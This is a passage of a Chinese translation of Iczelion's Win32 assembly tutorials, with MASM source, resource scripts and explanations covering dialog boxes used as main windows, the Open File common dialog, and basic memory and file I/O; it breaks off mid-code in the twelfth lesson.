dialog.asm

.386
.model flat,stdcall
option casemap:none
WinMain proto :DWORD,:DWORD,:DWORD,:DWORD
include \masm32\include\windows.inc
include \masm32\include\user32.inc
include \masm32\include\kernel32.inc
includelib \masm32\lib\user32.lib
includelib \masm32\lib\kernel32.lib

.data
ClassName db "DLGCLASS",0
MenuName db "MyMenu",0
DlgName db "MyDialog",0
AppName db "Our First Dialog Box",0
TestString db "Wow! I'm in an edit box now",0

.data?
hInstance HINSTANCE ?
CommandLine LPSTR ?
buffer db 512 dup(?)

.const
IDC_EDIT equ 3000
IDC_BUTTON equ 3001
IDC_EXIT equ 3002
IDM_GETTEXT equ 32000
IDM_CLEAR equ 32001
IDM_EXIT equ 32002

.code
start:
invoke GetModuleHandle, NULL
mov hInstance,eax
invoke GetCommandLine
mov CommandLine,eax
invoke WinMain, hInstance,NULL,CommandLine, SW_SHOWDEFAULT
invoke ExitProcess,eax

WinMain proc hInst:HINSTANCE,hPrevInst:HINSTANCE,CmdLine:LPSTR,CmdShow:DWORD
LOCAL wc:WNDCLASSEX
LOCAL msg:MSG
LOCAL hDlg:HWND
mov wc.cbSize,SIZEOF WNDCLASSEX
mov wc.style, CS_HREDRAW or CS_VREDRAW
mov wc.lpfnWndProc, OFFSET WndProc
mov wc.cbClsExtra,NULL
mov wc.cbWndExtra,DLGWINDOWEXTRA
push hInst
pop wc.hInstance
mov wc.hbrBackground,COLOR_BTNFACE+1
mov wc.lpszMenuName,OFFSET MenuName
mov wc.lpszClassName,OFFSET ClassName
invoke LoadIcon,NULL,IDI_APPLICATION
mov wc.hIcon,eax
mov wc.hIconSm,eax
invoke LoadCursor,NULL,IDC_ARROW
mov wc.hCursor,eax
invoke RegisterClassEx, addr wc
invoke CreateDialogParam,hInstance,ADDR DlgName,NULL,NULL,NULL
mov hDlg,eax
invoke ShowWindow, hDlg,SW_SHOWNORMAL
invoke UpdateWindow, hDlg
invoke GetDlgItem,hDlg,IDC_EDIT
invoke SetFocus,eax
.WHILE TRUE
invoke GetMessage, ADDR msg,NULL,0,0
.BREAK .IF (!eax)
invoke IsDialogMessage, hDlg, ADDR msg
.IF eax ==FALSE
invoke TranslateMessage, ADDR msg
invoke DispatchMessage, ADDR msg
.ENDIF
.ENDW
mov eax,msg.wParam
ret
WinMain endp

WndProc proc hWnd:HWND, uMsg:UINT, wParam:WPARAM, lParam:LPARAM
.IF uMsg==WM_DESTROY
invoke PostQuitMessage,NULL
.ELSEIF uMsg==WM_COMMAND
mov eax,wParam
.IF lParam==0
.IF ax==IDM_GETTEXT
invoke GetDlgItemText,hWnd,IDC_EDIT,ADDR buffer,512
invoke MessageBox,NULL,ADDR buffer,ADDR AppName,MB_OK
.ELSEIF ax==IDM_CLEAR
invoke SetDlgItemText,hWnd,IDC_EDIT,NULL
.ELSE
invoke DestroyWindow,hWnd
.ENDIF
.ELSE
mov edx,wParam
shr edx,16
.IF dx==BN_CLICKED
.IF ax==IDC_BUTTON
invoke SetDlgItemText,hWnd,IDC_EDIT,ADDR TestString
.ELSEIF ax==IDC_EXIT
invoke SendMessage,hWnd,WM_COMMAND,IDM_EXIT,0
.ENDIF
.ENDIF
.ENDIF
.ELSE
invoke DefWindowProc,hWnd,uMsg,wParam,lParam
ret
.ENDIF
xor eax,eax
ret
WndProc endp
end start

Dialog.rc

#include "resource.h"

#define IDC_EDIT 3000
#define IDC_BUTTON 3001
#define IDC_EXIT 3002

#define IDM_GETTEXT 32000
#define IDM_CLEAR 32001
#define IDM_EXIT 32003

MyDialog DIALOG 10, 10, 205, 60
STYLE 0x0004 | DS_CENTER | WS_CAPTION | WS_MINIMIZEBOX |
WS_SYSMENU | WS_VISIBLE | WS_OVERLAPPED | DS_MODALFRAME | DS_3DLOOK
CAPTION "Our First Dialog Box"
CLASS "DLGCLASS"
BEGIN
EDITTEXT IDC_EDIT, 15,17,111,13, ES_AUTOHSCROLL | ES_LEFT
DEFPUSHBUTTON "Say Hello", IDC_BUTTON, 141,10,52,13
PUSHBUTTON "E&xit", IDC_EXIT, 141,26,52,13, WS_GROUP
END

MyMenu MENU
BEGIN
POPUP "Test Controls"
BEGIN
MENUITEM "Get Text", IDM_GETTEXT
MENUITEM "Clear Text", IDM_CLEAR
MENUITEM "", , 0x0800 /*MFT_SEPARATOR*/
MENUITEM "E&xit", IDM_EXIT
END
END

分析：

我们先来分析第一个例子：
该例显示了如何把一个对话框模板注册成一个窗口类，然后创建一个由该窗口类派生的窗口。由于您没有必要自己去创建子窗口控件，所以就简化了许多的工作。
我们先来分析对话框模板。

MyDialog DIALOG 10, 10, 205, 60

先是对话框的名字，然后是关键字“DAILOG”。接下来的四个数字中，前两个是对话框的坐标，后两个是对话框的宽和高（注意：它们的单位是对话框的单位，而不一定是像素点）。

STYLE 0x0004 | DS_CENTER | WS_CAPTION | WS_MINIMIZEBOX |
WS_SYSMENU | WS_VISIBLE | WS_OVERLAPPED | DS_MODALFRAME | DS_3DLOOK

上面定义了对话框的风格。

CAPTION "Our First Dialog Box"

这是显示在对话框标题条上的标题。

CLASS "DLGCLASS"

这一行非常关键。正是有了关键字CLASS，我们才可以用它来声明把一个对话框当成一个窗口来用。跟在关键字后面的是“窗口类”的名称。

BEGIN
EDITTEXT IDC_EDIT, 15,17,111,13, ES_AUTOHSCROLL | ES_LEFT
DEFPUSHBUTTON "Say Hello", IDC_BUTTON, 141,10,52,13
PUSHBUTTON "E&xit", IDC_EXIT, 141,26,52,13
END

上面的一块定义了对话框中的子窗口控件，它们是声明在一头一尾的两个关键字BEGIN和END之间的。

    control-type "text" ,controlID, x, y, width, height [,styles]
控件的类型是资源编辑器定义好了的常数，您可以查找有关的手册。
现在我们来看看汇编源代码。先看这部分：
    mov wc.cbWndExtra,DLGWINDOWEXTRA
    mov wc.lpszClassName,OFFSET ClassName
通常cbWndExtra被设成NULL，但我们想把一个对话框模板注册成一个窗口类，我们必须把该成员的值设成DLGWINDOWEXTRA。注意类的名称必须和模板中跟在CLASS关键字后面的名称一样。余下的成员变量和声明一般的窗口类相同。填写好窗口类结构变量后调用函数RegisterClassEx进行注册。看上去这一切和注册一个普通的窗口类是一样的。
    invoke CreateDialogParam,hInstance,ADDR DlgName,NULL,NULL,NULL
注册完毕后，我们就创建该对话框。在这个例子中，我们调用函数CreateDialogParam产生一个无模式对话框。这个函数共有5个参数，其中前两个参数是必须的：实例句柄和指向对话框模板名称的指针。注意第二个参数是指向模板名称而不是类名称的指针。这时，WINDOWS将产生对话框和子控件窗口。同时您的应用程序将接收到由WINDOWS传送的第一个消息WM_CREATE。
    invoke GetDlgItem,hDlg,IDC_EDIT
    invoke SetFocus,eax
在对话框产生后，我们把输入输出焦点设到编辑控件上。如果在WM_CREATE消息处理段中假如设置焦点的代码，GetDlgItem函数就会失败，因为此时空间窗口还未产生，为了在对话框和所有的子窗口控件都产生后调用该函数我们把它安排到了函数UpdatWindow后，GetDlgItem函数返回该控件的敞口句柄。

invoke IsDialogMessage, hDlg, ADDR msg
.IF eax ==FALSE
invoke TranslateMessage, ADDR msg
invoke DispatchMessage, ADDR msg
.ENDIF

现在程序进入消息循环，在我们翻译和派发消息前，该函数使得对话框内置的对话框管理程序来处理有关的键盘跳转逻辑。如果该函数返回TRUE，则表示消息是传给对话框的已经由该函数处理了。注意和前一课不同，当我们想得到控件的文本信息时调用GetDlgItemText函数而不是GetWindowText函数，前者接受的参数是一个控件的ID 号，而不是窗口的句柄，这使得在对话框中调用该函数更方便。

好我们现在使用第二种方法把一个对话框当成一个主窗口来使用。在接下来的例子中，我们将产生一个应用程序的模式对话框，您将会发现其中根本没有消息循环或窗口处理过程，因为它们根本没有必要！
dialog.asm (part 2)

.386
.model flat,stdcall
option casemap:none

DlgProc proto :DWORD,:DWORD,:DWORD,:DWORD

include \masm32\include\windows.inc
include \masm32\include\user32.inc
include \masm32\include\kernel32.inc
includelib \masm32\lib\user32.lib
includelib \masm32\lib\kernel32.lib

.data
DlgName db "MyDialog",0
AppName db "Our Second Dialog Box",0
TestString db "Wow! I'm in an edit box now",0

.data?
hInstance HINSTANCE ?
CommandLine LPSTR ?
buffer db 512 dup(?)

.const
IDC_EDIT equ 3000
IDC_BUTTON equ 3001
IDC_EXIT equ 3002
IDM_GETTEXT equ 32000
IDM_CLEAR equ 32001
IDM_EXIT equ 32002

.code
start:
invoke GetModuleHandle, NULL
mov hInstance,eax
invoke DialogBoxParam, hInstance, ADDR DlgName,NULL, addr DlgProc, NULL
invoke ExitProcess,eax

DlgProc proc hWnd:HWND, uMsg:UINT, wParam:WPARAM, lParam:LPARAM
.IF uMsg==WM_INITDIALOG
invoke GetDlgItem, hWnd,IDC_EDIT
invoke SetFocus,eax
.ELSEIF uMsg==WM_CLOSE
invoke SendMessage,hWnd,WM_COMMAND,IDM_EXIT,0
.ELSEIF uMsg==WM_COMMAND
mov eax,wParam
.IF lParam==0
.IF ax==IDM_GETTEXT
invoke GetDlgItemText,hWnd,IDC_EDIT,ADDR buffer,512
invoke MessageBox,NULL,ADDR buffer,ADDR AppName,MB_OK
.ELSEIF ax==IDM_CLEAR
invoke SetDlgItemText,hWnd,IDC_EDIT,NULL
.ELSEIF ax==IDM_EXIT
invoke EndDialog, hWnd,NULL
.ENDIF
.ELSE
mov edx,wParam
shr edx,16
.if dx==BN_CLICKED
.IF ax==IDC_BUTTON
invoke SetDlgItemText,hWnd,IDC_EDIT,ADDR TestString
.ELSEIF ax==IDC_EXIT
invoke SendMessage,hWnd,WM_COMMAND,IDM_EXIT,0
.ENDIF
.ENDIF
.ENDIF
.ELSE
mov eax,FALSE
ret
.ENDIF
mov eax,TRUE
ret
DlgProc endp
end start

dialog.rc (part 2)

#include "resource.h"

#define IDC_EDIT 3000
#define IDC_BUTTON 3001
#define IDC_EXIT 3002

#define IDR_MENU1 3003

#define IDM_GETTEXT 32000
#define IDM_CLEAR 32001
#define IDM_EXIT 32003

MyDialog DIALOG 10, 10, 205, 60
STYLE 0x0004 | DS_CENTER | WS_CAPTION | WS_MINIMIZEBOX |
WS_SYSMENU | WS_VISIBLE | WS_OVERLAPPED | DS_MODALFRAME | DS_3DLOOK
CAPTION "Our Second Dialog Box"
MENU IDR_MENU1
BEGIN
EDITTEXT IDC_EDIT, 15,17,111,13, ES_AUTOHSCROLL | ES_LEFT
DEFPUSHBUTTON "Say Hello", IDC_BUTTON, 141,10,52,13
PUSHBUTTON "E&xit", IDC_EXIT, 141,26,52,13
END

IDR_MENU1 MENU
BEGIN
POPUP "Test Controls"
BEGIN
MENUITEM "Get Text", IDM_GETTEXT
MENUITEM "Clear Text", IDM_CLEAR
MENUITEM "", , 0x0800 /*MFT_SEPARATOR*/
MENUITEM "E&xit", IDM_EXIT
END
END

分析如下：

DlgProc proto :DWORD,:DWORD,:DWORD,:DWORD

我们已经定义了DlgProc函数的原型，所以可以用操作符ADDR来获得它的地址（记得吗，它可以在运行时动态地获得标识符的有效地址）：

invoke DialogBoxParam, hInstance, ADDR DlgName,NULL, addr DlgProc, NULL

上面的几行调用了函数DialogBoxPAram，该函数有五个参数，分别是：实例句柄、对话框模板的名字、父窗口的句柄、对话框过程函数的地址、和对话框相关的数据。该函数产生一个模式对话框。如果不显示地关闭该函数不会返回。

.IF uMsg==WM_INITDIALOG
invoke GetDlgItem, hWnd,IDC_EDIT
invoke SetFocus,eax
.ELSEIF uMsg==WM_CLOSE
invoke SendMessage,hWnd,WM_COMMAND,IDM_EXIT,0

除了不处理WM_CREATE消息外对话框的窗口处理过程函数和一般的窗口处理过程相似。该过程函数接收到的第一个消息是WM_INITDIALOG。通常把初始化的代码放到此处。注意如果您处理该消息必须在eax中返回TRUE。内置的对话框管理函数不会把WM_DESTROY 消息发送到对话框的消息处理函数，所以如果我们想在对话框关闭时进行处理，就把它放到WM_CLOSE消息的处理中。在我们的例子中我们发送消息WM_COMMAND，并在参数wParam中放置IDM_EXIT，这和处理WM_CLOSE 消息效果一样，在处理IDM_EXIT 中我们调用EndDialog函数。 如果我们想要销毁一个对话框，必须调用EndDialog函数，该函数并不会立即销毁一个窗口，而是设置一个标志位，然后对话框管理器会处理接下去的销毁对话框动作。 好，现在我们来看看资源文件，其中最显著的变化是在指定菜单时我们不是用字符串指定该菜单的名称而是用了一个常量 IDR_MENU1。在调用DialogBoxParam产生的对话框中挂接一个菜单必须这么做，注意在该对话框模板中，在该标识符前必须加MENU关键字，这两个例子中的显著不同是后者没有图标，这可以在处理WM_INITDIALOG中发送消息WM_SETICON消息，然后在该消息处理代码中作适当的处理即可。

翻译：Lxx，校对：LuoYunBin's Win32 ASM Page，http://asm.yeah.net


Iczelion's win32 asm tutorial

第十一课 进一步学习对话框

本课中我们将进一步学习对话框。特别地我们将要探讨如何把对话框当成输入设备。如果您学习了上一课，那就会发现本课的例子只有少量的改动，就是把我们的对话框窗口附属到主窗口上。另外，我们还要学习通用对话框的用法。

理论：

把对话框当成一个输入设备来用确实是非常地简单，创建完主窗口后，您只要调用函数 CreatedialogParam 或 DialogBoxParam 就可以了，前一个函数只要在对话框的过程处理函数中处理相关的消息就可以，而后者你必须在消息循环段中插入函数 IsDialogMessage 的调用让它来处理键盘的按键逻辑。因为这两个程序段相对来说比较容易，我们就不详解。您可以下载并仔细研究。
下面我们来讨论通用对话框。WINDOWS已经为您准备好了预定义的对话框类，您可以拿来就用，这些通用对话框提供给用户以统一的界面。它们包括:打开文件、打印、选择颜色、字体和搜索等。您应该尽可能地用它们。处理这些对话框的代码在comdlg32.dll中，为了在您的应用程序中使用它们，就必须在链接阶段链接库文件 comdlg32.lib。然后调用其中的相关函数即可。对于打开文件通用对话框，该函数名为 GetOpenFileName，"保存为..."对话框为 GetSaveFileName，打印通用对话框是 PrintDlg， 等等。每一个这样的函数都接收一个指向一个结构体的指针的参数，您可以参考WIN32 API手册得到详细的资料，本课中我将讲解创建和使用打开文件对话框。
下面是打开对话框函数 GetOpenFileName 的原型:

GetOpenFileName proto lpofn:DWORD
您可以看到，该函数只有一个参数，即指向结构体OPENFILENAME的指针。当用户选择了一个文件并打开，该函数返回TRUE，否则返回FALSE。接下来我们看看结构体OPENFILENAME的定义:

OPENFILENAME STRUCT
lStructSize DWORD ?
hwndOwner HWND ?
hInstance HINSTANCE ?
lpstrFilter LPCSTR ?
lpstrCustomFilter LPSTR ?
nMaxCustFilter DWORD ?
nFilterIndex DWORD ?
lpstrFile LPSTR ?
nMaxFile DWORD ?
lpstrFileTitle LPSTR ?
nMaxFileTitle DWORD ?
lpstrInitialDir LPCSTR ?
lpstrTitle LPCSTR ?
Flags DWORD ?
nFileOffset WORD ?
nFileExtension WORD ?
lpstrDefExt LPCSTR ?
lCustData LPARAM ?
lpfnHook DWORD ?
lpTemplateName LPCSTR ?
OPENFILENAME ENDS
好，我们再来看看该结构体中常用的成员的意义:
lStructSize | 结构体OPENFILENAME的大小。
hwndOwner | 拥有打开对话框的窗口的句柄。
hInstance | 拥有该打开文件对话框的应用程序的实例句柄 。
lpstrFilter | 以NULL结尾的一个或多个通配符。通配符是成对出现的，前一部分是描述部分，后一部分则是通配符的格式，譬如: FilterString db "All Files (*.*)",0, "*.*",0 db "Text Files (*.txt)",0,"*.txt",0,0 注意:只有每一对中的第二部分是WINDOWS用来过滤所需选择的文件的，另外您必须在该部分后放置一个0，以示字符串的结束。
nFilterIndex | 用来指定打开文件对话框第一次打开时所用的过滤模式串，该索引是从1开始算的，即第一个通配符模式的索引是1，第二个是2，譬如上面的例子中，若指定该值为2，则缺省显示的模式串就是"*.txt"。
lpstrFile | 需要打开的文件的名称的地址，该名称将会出现在打开文件对话框的编辑控件中，该缓冲区不能超过260个字符长，当用户打开文件后，该缓冲区中包含该文件的全路径名，您可以从该缓冲区中抽取您所需要的路径或文件名等信息。
nMaxFile | lpstrFile的大小。
lpstrTitle | 指向对话框标题的字符串。
Flags | 该标志决定决定了对话框的风格和特点。
nFileOffset | 在用户打开了一个文件后该值是全路径名称中指向文件名第一个字符的索引。譬如:若全路径名为"c:\windows\system\lz32.dll"， 则该值为18。
nFileExtension | 在用户打开了一个文件后该值是全路径名称中指向个文件扩展名第一个字符的索引。

例子:

下例中，我们演示了当用户选择"File->Open"时，将弹出一个打开文件对话框，当用户选择了某个文件打开时，会弹出一个对话框，告知要打开的文件的全路径名，文件名和文件扩展名。

.386
.model flat,stdcall
option casemap:none
WinMain proto :DWORD,:DWORD,:DWORD,:DWORD
include \masm32\include\windows.inc
include \masm32\include\user32.inc
include \masm32\include\kernel32.inc
include \masm32\include\comdlg32.inc
includelib \masm32\lib\user32.lib
includelib \masm32\lib\kernel32.lib
includelib \masm32\lib\comdlg32.lib

.const
IDM_OPEN equ 1
IDM_EXIT equ 2
MAXSIZE equ 260
OUTPUTSIZE equ 512

.data
ClassName db "SimpleWinClass",0
AppName db "Our Main Window",0
MenuName db "FirstMenu",0
ofn OPENFILENAME <>
FilterString db "All Files",0,"*.*",0
db "Text Files",0,"*.txt",0,0
buffer db MAXSIZE dup(0)
OurTitle db "-=Our First Open File Dialog Box=-: Choose the file to open",0
FullPathName db "The Full Filename with Path is: ",0
FullName db "The Filename is: ",0
ExtensionName db "The Extension is: ",0
OutputString db OUTPUTSIZE dup(0)
CrLf db 0Dh,0Ah,0

.data?
hInstance HINSTANCE ?
CommandLine LPSTR ?

.code
start:
invoke GetModuleHandle, NULL
mov hInstance,eax
invoke GetCommandLine
mov CommandLine,eax
invoke WinMain, hInstance,NULL,CommandLine, SW_SHOWDEFAULT
invoke ExitProcess,eax

WinMain proc hInst:HINSTANCE,hPrevInst:HINSTANCE,CmdLine:LPSTR,CmdShow:DWORD
LOCAL wc:WNDCLASSEX
LOCAL msg:MSG
LOCAL hwnd:HWND
mov wc.cbSize,SIZEOF WNDCLASSEX
mov wc.style, CS_HREDRAW or CS_VREDRAW
mov wc.lpfnWndProc, OFFSET WndProc
mov wc.cbClsExtra,NULL
mov wc.cbWndExtra,NULL
push hInst
pop wc.hInstance
mov wc.hbrBackground,COLOR_WINDOW+1
mov wc.lpszMenuName,OFFSET MenuName
mov wc.lpszClassName,OFFSET ClassName
invoke LoadIcon,NULL,IDI_APPLICATION
mov wc.hIcon,eax
mov wc.hIconSm,eax
invoke LoadCursor,NULL,IDC_ARROW
mov wc.hCursor,eax
invoke RegisterClassEx, addr wc
invoke CreateWindowEx,WS_EX_CLIENTEDGE,ADDR ClassName,ADDR AppName,\
WS_OVERLAPPEDWINDOW,CW_USEDEFAULT,\
CW_USEDEFAULT,300,200,NULL,NULL,\
hInst,NULL
mov hwnd,eax
invoke ShowWindow, hwnd,SW_SHOWNORMAL
invoke UpdateWindow, hwnd
.WHILE TRUE
invoke GetMessage, ADDR msg,NULL,0,0
.BREAK .IF (!eax)
invoke TranslateMessage, ADDR msg
invoke DispatchMessage, ADDR msg
.ENDW
mov eax,msg.wParam
ret
WinMain endp

WndProc proc hWnd:HWND, uMsg:UINT, wParam:WPARAM, lParam:LPARAM
.IF uMsg==WM_DESTROY
invoke PostQuitMessage,NULL
.ELSEIF uMsg==WM_COMMAND
mov eax,wParam
.if ax==IDM_OPEN
mov ofn.lStructSize,SIZEOF ofn
push hWnd
pop ofn.hwndOwner
push hInstance
pop ofn.hInstance
mov ofn.lpstrFilter, OFFSET FilterString
mov ofn.lpstrFile, OFFSET buffer
mov ofn.nMaxFile,MAXSIZE
mov ofn.Flags, OFN_FILEMUSTEXIST or \
OFN_PATHMUSTEXIST or OFN_LONGNAMES or\
OFN_EXPLORER or OFN_HIDEREADONLY
mov ofn.lpstrTitle, OFFSET OurTitle
invoke GetOpenFileName, ADDR ofn
.if eax==TRUE
invoke lstrcat,offset OutputString,OFFSET FullPathName
invoke lstrcat,offset OutputString,ofn.lpstrFile
invoke lstrcat,offset OutputString,offset CrLf
invoke lstrcat,offset OutputString,offset FullName
mov eax,ofn.lpstrFile
push ebx
xor ebx,ebx
mov bx,ofn.nFileOffset
add eax,ebx
pop ebx
invoke lstrcat,offset OutputString,eax
invoke lstrcat,offset OutputString,offset CrLf
invoke lstrcat,offset OutputString,offset ExtensionName
mov eax,ofn.lpstrFile
push ebx
xor ebx,ebx
mov bx,ofn.nFileExtension
add eax,ebx
pop ebx
invoke lstrcat,offset OutputString,eax
invoke MessageBox,hWnd,OFFSET OutputString,ADDR AppName,MB_OK
invoke RtlZeroMemory,offset OutputString,OUTPUTSIZE
.endif
.else
invoke DestroyWindow, hWnd
.endif
.ELSE
invoke DefWindowProc,hWnd,uMsg,wParam,lParam
ret
.ENDIF
xor eax,eax
ret
WndProc endp
end start

分析:

mov ofn.lStructSize,SIZEOF ofn
push hWnd
pop ofn.hwndOwner
push hInstance
pop ofn.hInstance

我们在此填充结构体OPENFILENAME变量ofn的有关成员。

mov ofn.lpstrFilter, OFFSET FilterString

这里FilterString 是文件过滤模式的字符串地址，我们指定的过滤模式字符串如下:

FilterString db "All Files",0,"*.*",0
db "Text Files",0,"*.txt",0,0
注意:所有的模式串都是配对的，前一个是描述，后一个才是真正的模式，次处"*.*"和"*.txt"是WIONDOWS用来寻找匹配的欲打开的文件的。我们当能可以指定任何模式，但是不要忘记在结尾处加0以代表字符串已结束，否则您的对话框在操作时可能不稳定。

mov ofn.lpstrFile, OFFSET buffer
mov ofn.nMaxFile,MAXSIZE

这里是把缓冲区的地址放到结构体中，同时必须设定大小。以后我们可以随意编辑在该缓冲区中返回的信息。

mov ofn.Flags, OFN_FILEMUSTEXIST or \
OFN_PATHMUSTEXIST or OFN_LONGNAMES or\
OFN_EXPLORER or OFN_HIDEREADONLY

Flags 中放入的是对话框的风格和特性值。
其中OFN_FILEMUSTEXIST和 OFN_PATHMUSTEXIST要求用户在打开对话框的编辑控件中输入的文件名或路径名必须存在。
OFN_LONGNAMES 告诉对话框显示长文件名。
OFN_EXPLORER 告诉WINDOWS对话框的外观必须类似资源管理器。
OFN_HIDEREADONLY 指定不要显示只读文件(既使它的扩展名符合过滤模式)。
除此之外，还有许多其它的标志位，您可以参考有关WIN32 API手册。

mov ofn.lpstrTitle, OFFSET OurTitle

指定打开文件对话框的标题名。

invoke GetOpenFileName, ADDR ofn

调用GetOpenFileName函数，并传入指向结构体ofn的指针。
这时候，打开文件对话框就显示出来了，GetOpenFileName函数要一直等到用户选择了一个文件后才会返回，或者当用户按下了CANCEL键或关闭对话框时。
当用户选择了打开一个文件时，该函数返回TRUE， 否则返回FALSE。

.if eax==TRUE
invoke lstrcat,offset OutputString,OFFSET FullPathName
invoke lstrcat,offset OutputString,ofn.lpstrFile
invoke lstrcat,offset OutputString,offset CrLf
invoke lstrcat,offset OutputString,offset FullName

当用户选择打开一个文件时，我们就在一个对话框中显示一个字符串，我们先给OutputString变量分配内存，然后调用PAI 函数lstrcat，把所有的字符串连到一起，为了让这些字符串分行显示，我们必须在每个字符串后面加一个换行符。

mov eax,ofn.lpstrFile
push ebx
xor ebx,ebx
mov bx,ofn.nFileOffset
add eax,ebx
pop ebx
invoke lstrcat,offset OutputString,eax

上面这几行可能需要一些解释。nFileOffset的值等于被打开文件的全路径名中的文件名的第一个字符的索引，由于nFileOffset是一个WORD型变量，而lpstrFile是一个DWORD形的指针，所以我们就要作一转换把nFileOffset存入ebx寄存器的底字节，然后再加到eax寄存器中得到DWORD型的指针。

invoke MessageBox,hWnd,OFFSET OutputString,ADDR AppName,MB_OK

我们在对话框中显示该字符串。

invoke RtlZerolMemory,offset OutputString,OUTPUTSIZE

为了下一次能正确地显示，必须清除缓冲区，我们调用函数RtlZerolMemory来做这件事。

翻译：Lxx，阿龙.LuoYunBin's Win32 ASM Page， http://asm.yeah.net


Iczelion's win32 asm tutorial

第十二课 内存管理和文件输入/输出

本课中我们将学习基本的内存管理和文件输入/输出操作方面的知识。另外我们还将用上课学的通用对话框作为我们的显示“设备”。

理论：

从用户的角度来看，WIN32的内存管理是非常简单和明了的。每一个应用程序都有自己独立的4G地址空间，这种内存模式叫做“平坦”型地址模式，所有的段寄存器或描述符都指向同样的起始地址，所有的地址偏移都是32位的长度，这样一个应用程序无须变换选择符就可以存取自己的多达4G的地址空间。这种内存管理模式是非常简洁而便于管理的，而且我们再不用和那些令人讨厌的“near”和“far”指针打交道了。
在W16下有两种主要类型的API：全局和局部。“全局”的API 分配在其他的段中，这样从内存角度来看他们是一些“far”（远）函数或者叫远过程调用，“局部”API只要和进程的堆打交道，所以把它们叫做“near”（近）函数或者近过程调用。而在WIN32中，这两种内存模式是相同的，无论您调用GlobalAlloc还是LocalAlloc，结果都是一样。
至于分配和使用内存的过程都是一样的：

  1. 调用GlobalAlloc函数分配一块内存，该函数会返回分配的内存句柄。
  2. 调用GlobalLock函数锁定内存块，该函数接受一个内存句柄作为参数，然后返回一个指向被锁定的内存块的指针。
  3. 您可以用该指针来读写内存。
  4. 调用GlobalUnlock函数来解锁先前被锁定的内存，该函数使得指向内存块的指针无效。
  5. 调用GlobalFree函数来释放内存块。您必须传给该函数一个内存句柄。

在WIN32中您也可以用“Local”替代内存分配API函数带有“Global”字样的函数中的“Global”，也即用LocalAlloc、LocalLock等。
在调用函数GlobalAlloc时使用GMEM_FIXED标志位可以更进一步简化操作。使用了该标志后，Global/LocalAlloc返回的是指向已分配内存的指针而不是句柄，这样也就不用调用Global/LocalLock来锁定内存了，释放内存时只要直接调用Global/LocalFree就可以了。不过在本课中我们只使用传统的方法，因为其它地方有许多的源代码是用这种方法写的。

WIN32的文件输入/输出API和DOS下的从外表上看几乎一样（译者注：也许不管内部实现多么不同，可以想象所有的文件系统暴露给应用程序编写者的接口的功能应该基本相同），不同的只是把DOS下的中断方式处理文件输入/输出变成了对API函数的调用。以下是基本的步骤：

  1. 调用CreateFile函数生成一个文件，该函数可以应用在多方面，除了磁盘文件外，我们还可以用来打开通讯端口、管道、驱动程序或控制台。如果成功的话，会返回指向文件或设备的句柄。然后可以使用该句柄去完成对文件或设备操作。
    调用SetFilePointer来把文件指针移到想读写的地方。.
  2. 然后调用ReadFile 或 WriteFile来完成实际的读写。这些函数会自己处理文件和内存之间的数据传送，这样免得您自己去做分配内存等繁杂的琐事。
  3. 调用CloseHandle来关闭文件。该函数接受一个先前打开的文件句柄。

内容：

下面的代码段演示了：打开一个“打开文件”对话框，用户可以选择打开一个文本文件，然后在一个编辑控件中打开该文本文件的内容，另外用户还可以编辑该文本文件的内容并选择保存。

.386
.model flat,stdcall
option casemap:none
WinMain proto :DWORD,:DWORD,:DWORD,:DWORD
include \masm32\include\windows.inc
include \masm32\include\user32.inc
include \masm32\include\kernel32.inc
include \masm32\include\comdlg32.inc
includelib \masm32\lib\user32.lib
includelib \masm32\lib\kernel32.lib
includelib \masm32\lib\comdlg32.lib

.const
IDM_OPEN equ 1
IDM_SAVE equ 2
IDM_EXIT equ 3
MAXSIZE equ 260
MEMSIZE equ 65535

EditID equ 1 ; ID of the edit control

.data
ClassName db "Win32ASMEditClass",0
AppName db "Win32 ASM Edit",0
EditClass db "edit",0
MenuName db "FirstMenu",0
ofn OPENFILENAME <>
FilterString db "All Files",0,"*.*",0
db "Text Files",0,"*.txt",0,0
buffer db MAXSIZE dup(0)

.data?
hInstance HINSTANCE ?
CommandLine LPSTR ?
hwndEdit HWND ? ; Handle to the edit control
hFile HANDLE ? ; File handle
hMemory HANDLE ? ;handle to the allocated memory block
pMemory DWORD ? ;pointer to the allocated memory block
SizeReadWrite DWORD ? ; number of bytes actually read or write

.code
start:
invoke GetModuleHandle, NULL
mov hInstance,eax
invoke GetCommandLine
mov CommandLine,eax
invoke WinMain, hInstance,NULL,CommandLine, SW_SHOWDEFAULT
invoke ExitProcess,eax

WinMain proc hInst:HINSTANCE,hPrevInst:HINSTANCE,CmdLine:LPSTR,CmdShow:SDWORD
LOCAL wc:WNDCLASSEX
LOCAL msg:MSG
LOCAL hwnd:HWND
mov wc.cbSize,SIZEOF WNDCLASSEX
mov wc.style, CS_HREDRAW or CS_VREDRAW
mov wc.lpfnWndProc, OFFSET WndProc
mov wc.cbClsExtra,NULL
mov wc.cbWndExtra,NULL
push hInst
pop wc.hInstance
mov wc.hbrBackground,COLOR_WINDOW+1
mov wc.lpszMenuName,OFFSET MenuName
mov wc.lpszClassName,OFFSET ClassName
invoke LoadIcon,NULL,IDI_APPLICATION
mov wc.hIcon,eax
mov wc.hIconSm,eax
invoke LoadCursor,NULL,IDC_ARROW
mov wc.hCursor,eax
invoke RegisterClassEx, addr wc
invoke CreateWindowEx,WS_EX_CLIENTEDGE,ADDR ClassName,ADDR AppName,\
WS_OVERLAPPEDWINDOW,CW_USEDEFAULT,\
CW_USEDEFAULT,300,200,NULL,NULL,\
hInst,NULL
mov hwnd,eax
invoke ShowWindow, hwnd,SW_SHOWNORMAL
invoke UpdateWindow, hwnd
.WHILE TRUE
invoke GetMessage, ADDR msg,NULL,0,0
.BREAK .IF (!eax)
invoke TranslateMessage, ADDR msg
invoke DispatchMessage, ADDR msg
.ENDW
mov eax,msg.wParam
ret
WinMain endp

WndProc proc uses ebx hWnd:HWND, uMsg:UINT, wParam:WPARAM, lParam:LPARAM
.IF uMsg==WM_CREATE
invoke CreateWindowEx,NULL,ADDR EditClass,NULL,\
WS_VISIBLE or WS_CHILD or ES_LEFT or ES_MULTILINE or\
ES_AUTOHSCROLL or ES_AUTOVSCROLL,0,\
0,0,0,hWnd,EditID,\
hInstance,NULL
mov hwndEdit,eax
invoke SetFocus,hwndEdit
;==============================================
; Initialize the members of OPENFILENAME structure
;==============================================
mov ofn.lStructSize,SIZEOF ofn
push hWnd
pop ofn.hWndOwner
push hInstance
pop ofn.hInstance
mov ofn.lpstrFilter, OFFSET FilterString
mov ofn.lpstrFile, OFFSET buffer
mov ofn.nMaxFile,MAXSIZE
.ELSEIF uMsg==WM_SIZE
mov eax,lParam
mov edx,eax
shr edx,16
